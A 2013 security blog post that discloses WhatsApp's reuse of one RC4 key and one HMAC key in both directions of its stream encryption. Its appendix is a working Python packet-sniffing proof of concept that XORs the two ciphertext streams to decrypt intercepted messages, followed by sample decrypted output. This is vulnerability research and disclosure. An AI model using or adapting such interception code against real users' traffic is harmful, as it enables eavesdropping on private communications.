October 8, 2013

Piercing Through WhatsApp’s Encryption


WhatsApp has been plagued by numerous issues in their security: easily stolen passwords, unencrypted messages and even a website that can change anyone’s status. But that streak is not yet over.

To be clear: this post is not about using IMEI numbers as your password. That issue has been fixed. Logging in on a new device currently works as follows:

  • The phone posts its phone number to a HTTPS URL to request an authentication code,
  • the phone receives an authentication code in the text message,
  • the authentication code is used, again over HTTPS, to obtain a password.

These passwords are quite long and never visible to the user, making them hard to steal from a phone.

Authentication Overview

With the password, the client can log in to the not-really-XMPP server that WhatsApp uses. For this it uses the custom SASL mechanism WAUTH-1. To log in with the phone number XXXXXXXXXXXX, the following happens (I’m showing the XML representation of the protocol, this is not what is actually sent):

  • The client sends:

    <auth xmlns="urn:ietf:params:xml:ns:xmpp-sasl" user="XXXXXXXXXXXX" mechanism="WAUTH-1" />
  • The server responds with a some challenge (here YYYYYYYYYYYYYYYYYYYY):

    <challenge xmlns="urn:ietf:params:xml:ns:xmpp-sasl">YYYYYYYYYYYYYYYYYYYY</challenge>
  • To respond to the challenge, the client generates a key using PBKDF2 with the user’s password, the challenge data as the salt and SHA1 as the hash function. It only uses 16 iterations of PBKDF2, which is a little low these days, but we know the password is quite long and random so this does not concern me greatly. 20 bytes from the PBKDF2 result are used as a key for RC4, which is used to encrypt and MAC XXXXXXXXXXXX || YYYYYYYYYYYYYYYYYYYY || UNIX timestamp:

    <response xmlns="urn:ietf:params:xml:ns:xmpp-sasl">ZZZZZZZZZZZZZ</response>
  • From now on, every message is encrypted and MACed (using HMAC-SHA1) using this key.

Mistake #1: The same encryption key in both directions

Lets recall how RC4 is supposed to work: RC4 is a PRNG that generates a stream of bytes, which are xored with the plaintext that is to be encrypted. By xoring the ciphertext with the same stream, the plaintext is recovered.

However, recall that:

(A ^ X) ^ (B ^ X) = A ^ B

In other words: if we have two messages encrypted with the same RC4 key, we can cancel the key stream out!

As WhatsApp uses the same key for the incoming and the outgoing RC4 stream, we know that ciphertext byte i on the incoming stream xored with ciphertext byte i on the outgoing stream will be equal to xoring plaintext byte i on the incoming stream with plaintext byte i of the outgoing stream. By xoring this with either of the plaintext bytes, we can uncover the other byte.

This does not directly reveal all bytes, but in many cases it will work: the first couple of messages exchanged are easy to predict from the information that is sent in plain. All messages still have a common structure, despite the binary encoding: for example, every stanza starts with 0xf8. Even if a byte is not known fully, sometimes it can be known that it must be alphanumeric or an integer in a specific range, which can give some information about the other byte.

Mistake #2: The same HMAC key in both directions

The purpose of a MAC is to authenticate messages. But a MAC by itself is not enough to detect all forms of tampering: an attacker could drop specific messages, swap them or even transmit them back to the sender. TLS counters this by including a sequence number in the plaintext of every message and by using a different key for the HMAC for messages from the server to the client and for messages from the client to the server. WhatsApp does not use such a sequence counter and it reuses the key used for RC4 for the HMAC.

When an attacker retransmits, swaps or drops messages the receiver can not notice that, except for the fact that the decryption of the message is unlikely to be a valid binary-XMPP message. However, by transmitting a message back to the sender at exactly the same place in the RC4 stream as it was originally transmitted will make it decrypt properly. Whether this can be exploited in any way, I don’t know.

Conclusion

You should assume that anyone who is able to eavesdrop on your WhatsApp connection is capable of decrypting your messages, given enough effort. You should consider all your previous WhatsApp conversations compromised. There is nothing a WhatsApp user can do about this but except to stop using it until the developers can update it.

There are many pitfalls when developing a streaming encryption protocol. Considering they don’t know how to use a xor correctly, maybe the WhatsApp developers should stop trying to do this themselves and accept the solution that has been reviewed, updated and fixed for more than 15 years, like TLS.

Edit: I have added a new post which demostrates that at least the official Android and Nokia S60 clients are vulnerable: https://blog.thijsalkema.de/blog/2013/10/08/piercing-through-whatsapps-encryption-2/.

Appendix: Proof of Concept

The following is a Python script which can intercept messages to WhatsApp and which tries to decrypt the incoming messages by guessing all outgoing messages. It uses the WhatsApp library WhatsPoke for the FunXMPP parser.

This does not work for the official WhatsApp client. It assumes the client logs in and sends only pings to the server. This was tested using yowsup-cli -l -d -c config -k from https://github.com/tgalal/yowsup. To use it with the official client, you would need to figure out which outgoing messages the real client sends and deal with the fact that they might contain data which is not as easy to predict, or even something more clever which can decrypt bytes in both streams using the other one.

from pcapy import findalldevs, open_live
from impacket import ImpactDecoder, ImpactPacket
import funxmpp
import lxml.etree as etree
import base64
import time
import datetime

ips = ["173.193.247.211",
"184.173.136.73",
"184.173.136.75",
"184.173.136.80",
"184.173.161.179",
"184.173.161.181",
"184.173.161.184",
"184.173.179.34",
"184.173.179.35",
"50.22.231.37",
"50.22.231.40",
"50.22.231.42",
"50.22.231.45",
"50.22.231.48",
"50.22.231.51",
"50.22.231.53",
"50.22.231.56",
"50.22.231.59",
"173.192.219.131",
"173.192.219.140",
"173.193.247.205",
"173.193.247.209"]

username = None
salt = None
date = None

incoming_ciphertexts = []
outgoing_ciphertexts = []

outgoing_plaintexts = []
incoming_plaintexts = []

cipher_start = 0

def zipXor(x, y):
	return [a ^ b for (a,b) in zip(x, y)]

def callback(hdr, data):
	global username, salt, date, outgoing_ciphertexts, incoming_ciphertexts, outgoing_plaintexts, incoming_plaintexts, cipher_start

	decoder = ImpactDecoder.EthDecoder()
	ether = decoder.decode(data)

	iphdr = ether.child()
	tcphdr = iphdr.child()

	if not tcphdr.get_SYN() and tcphdr.get_ACK():

		src_ip = iphdr.get_ip_src()
		dst_ip = iphdr.get_ip_dst()

		if not (src_ip in ips or dst_ip in ips):
			return

		packet = data[ether.get_header_size() + iphdr.get_header_size() + tcphdr.get_header_size():]

		if len(packet) == 0:
			return

		incoming = (src_ip in ips)

		if ord(packet[0]) == 0 or packet[0] == 'A':
			if ord(packet[0]) == 0:
				start = 3
			else:
				start = 6
			while start < len(packet):
				(a,b) = funxmpp.decode_with_len(packet[start:])
				print("%s %s" % ("IN:  " if incoming else "OUT: ", a.replace("\n", "")))
				parser = etree.XMLParser(recover=True)
				tree = etree.fromstring(a, parser=parser)
				if tree.tag == "{urn:ietf:params:xml:ns:xmpp-sasl}auth":
					username = tree.attrib["user"]
				elif tree.tag == "{urn:ietf:params:xml:ns:xmpp-sasl}challenge":
					salt = base64.b64decode(tree.text)
				elif tree.tag == "{urn:ietf:params:xml:ns:xmpp-sasl}response":
					date = int(time.mktime(datetime.datetime.utcnow().timetuple()))
					print("Sniffing a login from %s on %s. Nonce is %s." % (username, date, salt.encode("hex")))
					outgoing_ciphertexts += map(ord, base64.b64decode(tree.text)[4:])
					outgoing_plaintexts = map(ord, "%s%s%s" % (username, salt, date)
					outgoing_plaintexts += funxmpp.encode("""<iq to="s.whatsapp.net" type="get" id="ping_1"><ping xmlns="w:p"></ping></iq>""")
					outgoing_plaintexts += funxmpp.encode("""<iq to="s.whatsapp.net" type="get" id="ping_2"><ping xmlns="w:p"></ping></iq>""")
					outgoing_plaintexts += funxmpp.encode("""<iq to="s.whatsapp.net" type="get" id="ping_3"><ping xmlns="w:p"></ping></iq>""")
					outgoing_plaintexts += funxmpp.encode("""<iq to="s.whatsapp.net" type="get" id="ping_4"><ping xmlns="w:p"></ping></iq>""")
					outgoing_plaintexts += funxmpp.encode("""<iq to="s.whatsapp.net" type="get" id="ping_5"><ping xmlns="w:p"></ping></iq>""")
					outgoing_plaintexts += funxmpp.encode("""<iq to="s.whatsapp.net" type="get" id="ping_6"><ping xmlns="w:p"></ping></iq>""")
					outgoing_plaintexts += funxmpp.encode("""<iq to="s.whatsapp.net" type="get" id="ping_7"><ping xmlns="w:p"></ping></iq>""")
					outgoing_plaintexts += funxmpp.encode("""<iq to="s.whatsapp.net" type="get" id="ping_8"><ping xmlns="w:p"></ping></iq>""")
					outgoing_plaintexts += funxmpp.encode("""<iq to="s.whatsapp.net" type="get" id="ping_9"><ping xmlns="w:p"></ping></iq>""")
					outgoing_plaintexts += funxmpp.encode("""<iq to="s.whatsapp.net" type="get" id="ping_10"><ping xmlns="w:p"></ping></iq>""")
					outgoing_plaintexts += funxmpp.encode("""<iq to="s.whatsapp.net" type="get" id="ping_11"><ping xmlns="w:p"></ping></iq>""")
					outgoing_plaintexts += funxmpp.encode("""<iq to="s.whatsapp.net" type="get" id="ping_12"><ping xmlns="w:p"></ping></iq>""")
					outgoing_plaintexts += funxmpp.encode("""<iq to="s.whatsapp.net" type="get" id="ping_13"><ping xmlns="w:p"></ping></iq>"""))
				start += b + 3
		elif packet == "W":
			return
		else:
			if incoming:
				incoming_ciphertexts += map(ord, packet[7:])
			else:
				outgoing_ciphertexts += map(ord, packet[3:-4])
			incoming_plain = zipXor(outgoing_plaintexts, zipXor(incoming_ciphertexts, outgoing_ciphertexts))
			try:
				incoming_plain = "".join(map(chr, incoming_plain))
				while cipher_start < len(incoming_plain):
					(a,b) = funxmpp.decode_with_len(incoming_plain[cipher_start:])
					print("%s %s" % ("IN:  ", a.replace("\n", "")))
					cipher_start += b
			except Exception as e:
				return



ifs = findalldevs()

reader = open_live(ifs[0], 1500, 0, 100)

reader.setfilter('ip proto \\tcp && port 443')

reader.loop(0, callback)

Example result:

OUT: <stream:stream to="s.whatsapp.net" resource="S40-2.11.1" />
OUT: <stream:features><receipt_acks /><w:profile:picture type="all" /><w:profile:picture type="group" /><notification type="participant" /><status /></stream:features>
OUT: <auth xmlns="urn:ietf:params:xml:ns:xmpp-sasl" user="XXXXXXXXXXXX" mechanism="WAUTH-1"></auth>
IN:  <stream:stream from="s.whatsapp.net" />
IN:  <stream:features><receipt_acks /><w:profile:picture type="all" /></stream:features>
IN:  <challenge xmlns="urn:ietf:params:xml:ns:xmpp-sasl">YYYYYYYYYYYYYYYYYYYY</challenge>
OUT: <response xmlns="urn:ietf:params:xml:ns:xmpp-sasl">ZZZZZZZZZZZZZ</response>
Sniffing a login from XXXXXXXXXXXX on 1381178716. Nonce is YYYYYYYYYYYYYYYYYYYY.
IN:  <success t="1312345678" xmlns="urn:ietf:params:xml:ns:xmpp-sasl" kind="free" status="active" creation="1312345678" expiration="1312345678">AAAAAAAAAAAAA</success>
IN:  <presence from="s.whatsapp.net" status="dirty" xmlns="w"><category name="groups" timestamp="1312345678" /></presence>
IN:  <ib from="s.whatsapp.net"><offline count="0" /></ib>
IN:  <iq from="s.whatsapp.net" id="ping_1" type="result"><ping xmlns="w:p" /></iq>
IN:  <iq from="s.whatsapp.net" id="ping_2" type="result"><ping xmlns="w:p" /></iq>
IN:  <iq from="s.whatsapp.net" id="ping_3" type="result"><ping xmlns="w:p" /></iq>
IN:  <iq from="s.whatsapp.net" id="ping_4" type="result"><ping xmlns="w:p" /></iq>

From Sniffing a login on, all the messages are incoming messages decrypted using information about the outgoing messages.